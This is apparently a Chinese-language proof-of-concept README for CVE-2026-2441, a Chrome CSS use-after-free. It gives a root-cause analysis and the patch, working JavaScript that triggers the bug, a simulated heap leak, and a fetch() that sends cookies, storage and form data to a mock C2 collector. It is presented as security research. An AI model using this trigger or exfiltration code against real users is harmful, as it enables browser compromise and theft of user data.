针对CVE-2026-2441的详细概念验证与技术分析,该漏洞是Chrome CSS中的释放后使用漏洞,可通过精心构造的HTML页面在沙盒渲染器中实现远程代码执行(RCE)。
| 字段 | 值 |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8(高危) |
| 类型 | 释放后使用(CWE-416) |
| 组件 | Blink CSS — CSSFontFeatureValuesMap |
| 源文件 | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| 修复提交 | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| 报告者 | Shaheen Fazim(2026-02-11) |
| 补丁日期 | 2026-02-13 |
| 野外利用 | 是 — Google 确认已遭积极利用 |
| 平台 | 受影响版本 | 修复版本 |
|---|---|---|
| Windows / macOS(稳定版) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux(稳定版) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS(扩展稳定版) | < 144.0.7559.177 | >= 144.0.7559.177 |
| 基于 Chromium 的浏览器(Edge、Brave、Opera、Vivaldi) | 请查看厂商公告 | 各不相同 |
FontFeatureValuesMapIterationSource 存储了一个原始指针(const FontFeatureAliases* aliases_)指向内部的 FontFeatureAliases HashMap。当在迭代期间通过 set() 或 delete() 修改 map 时,HashMap 会重新哈希——分配新的存储空间并释放旧的。原始指针变成悬空指针,下一次 FetchNextItem() 调用会从已释放的内存中读取。
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = 指向内部 HashMap 的原始指针
→ iterator_ = aliases_->begin()
FetchNextItem()
→ 读取 iterator_->key(通过 aliases_)
如果在两次迭代之间调用了 map.set() / map.delete():
→ HashMap 重新哈希(新分配,旧释放)
→ aliases_ → 悬空指针
→ iterator_ → 失效
→ 下一次 FetchNextItem() → 释放后使用
- const FontFeatureAliases* aliases_; // 原始指针 → 重新哈希后悬空
+ const FontFeatureAliases aliases_; // 深拷贝 → 不受重新哈希影响
修复方式是将原始指针替换为 HashMap 的深拷贝。即使原始 map 重新哈希,迭代器也会在其自身的拷贝上操作,从而防止悬空指针。
poc.html| Chrome 版本 | 预期行为 |
|---|---|
| < 145.0.7632.75(未修补) | 渲染器崩溃 — STATUS_ACCESS_VIOLATION(Windows)或 SIGSEGV(Linux/macOS)。Chrome 显示“无法打开此页面”错误。 |
| >= 145.0.7632.75(已修补) | 无崩溃 — PoC 运行完成,所有条目正常读取。 |
PoC 的设计目的是以清晰且可复现的顺序展示漏洞利用链。第一部分创建易受攻击的 Blink/CSS 对象,第二部分触发迭代器失效,最后一部分在安全的学术环境中模拟利用后的效果。
重要说明: UAF 触发是通过真实的浏览器暴露的 CSS/JavaScript API 实现的。堆泄漏和渗透仪表板是故意受控/模拟的,以避免发布武器化的 Chromium 漏洞利用。
有效载荷首先定义了一个 CSS @font-feature-values 规则:
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
此规则会导致 Blink 创建一个内部的 CSSFontFeatureValuesMap。在易受攻击的实现中,对此映射的迭代是不安全的,因为迭代器保留了一个指向内部 FontFeatureAliases 存储的原始指针。
JavaScript 有效载荷稍后从样式表中获取该映射:
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
此时,攻击者控制的页面拥有一个浏览器对象的 JavaScript 句柄,其内部 C++ 实现容易受到迭代器失效攻击。
触发不会立即执行。PoC 等待 800 毫秒后才运行易受攻击的序列:
setTimeout(triggerUAF, 800);
此延迟用于演示稳定性。它允许页面和虚假的银行验证表单在内存损坏触发运行之前渲染完成。在实际的驱动下载场景中,相同的触发也可以在恶意页面加载后自动启动。
核心的 UAF 原语是以下循环:
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
漏洞由以下操作顺序触发:
1. map.entries() 创建一个遍历 CSSFontFeatureValuesMap 的迭代器。
2. 在易受攻击的 Blink 实现中,迭代器引用内部 map 存储。
3. it.next() 通过该迭代器读取下一个条目。
4. map.delete(key) 在迭代器仍然存活时修改同一个 map。
5. map.set(...) 插入一个新条目,并可能强制底层 HashMap 重新哈希。
6. 重新哈希可能会释放或移动旧的存储空间。
7. 迭代器可能仍然引用旧的存储空间。
8. 因此,下一次迭代器访问可能变成释放后使用。
最初的激进策略使用了更大的类似堆喷射的循环,例如在每次删除后插入数百个元素(如 512 个新条目)。这会产生更强的堆压力,并使重新分配/重用更有可能发生。
对于现场演示,这已简化为仅 4 个修改步骤:
while (step < 4) {
// 迭代器读取 + 删除 + 设置
}
理由具有实用性和教学性:512 个元素的喷射通常会使渲染器立即崩溃。崩溃对于证明可用性影响很有用,但它会阻止演示的其余部分展示模拟的数据窃取和攻击者仪表板。简化版本仍然展示了易受攻击的迭代器失效逻辑,同时使浏览器足够稳定以进行现场演示。
真正的武器化 UAF 漏洞利用通常需要内存泄露原语来泄漏堆或 V8 指针并绕过 ASLR。该演示未实现真正的任意内存读取。相反,它从预定义的静态范围生成一个类似堆的地址:
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
该值是模拟的堆泄漏:
0x55a000000000 是演示使用的固定堆状起始范围。Math.random() * 0x200000 添加了一个小的随机偏移量。base & ~0xfff 将地址对齐到页面边界。其目的是在攻击者仪表板上展示 ASLR 绕过泄漏的样子,而无需实现实际的内存披露漏洞利用。
在 UAF 触发和模拟堆泄漏之后,PoC 构建一个有效载荷,其中包含收集的表单输入、浏览器驻留的会话数据、DOM 片段、UAF 状态和模拟堆泄漏。该有效载荷被发送到本地攻击者后端:
await fetch("http://127.0.0.1:7777/collect", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-C2-Origin": "evil-tracker-cdn.xyz"
},
body: JSON.stringify(payload)
});
本地后端在 POST /collect 上接收数据,将其存储在内存中,并通过服务器发送事件(GET /events)将其转发到攻击者仪表板。这模拟了真实攻击的命令与控制/渗透阶段,同时保持本地和受控。
document.cookie、localStorage、sessionStorage、表单输入值fetch() / WebSocket / sendBeacon() 渗透addEventListener('keydown') 捕获所有按键当与单独的沙箱逃逸漏洞结合时:
渲染器 RCE(CVE-2026-2441)
→ Mojo IPC 利用 → 浏览器进程 RCE
→ 内核利用 → 完全系统沦陷
→ 恶意软件/勒索软件/间谍软件安装
→ 文件系统访问、横向移动、持久化
使用类似浏览器 UAF 的真实世界漏洞利用链:
此漏洞可通过驱动下载利用——无需用户交互,只需访问恶意页面即可:
chrome://flags/#site-isolation-trial-opt-out)| 日期 | 事件 |
|---|---|
| 2026-02-11 | 漏洞由 Shaheen Fazim 报告 |
| 2026-02-13 | Google 发布 Chrome 145.0.7632.75/76(Windows/macOS)、144.0.7559.75(Linux) |
| 2026-02-13 | Google 确认已在野外利用 |
| 2026-02-16 | Vivaldi 和 Opera 发布修复 |
如果您觉得这项研究有用,可以考虑请我喝杯咖啡:
此概念验证仅用于教育和授权的安全研究目的。未经明确许可,针对系统使用此 PoC 是非法且不道德的。作者对任何滥用行为概不负责。
MIT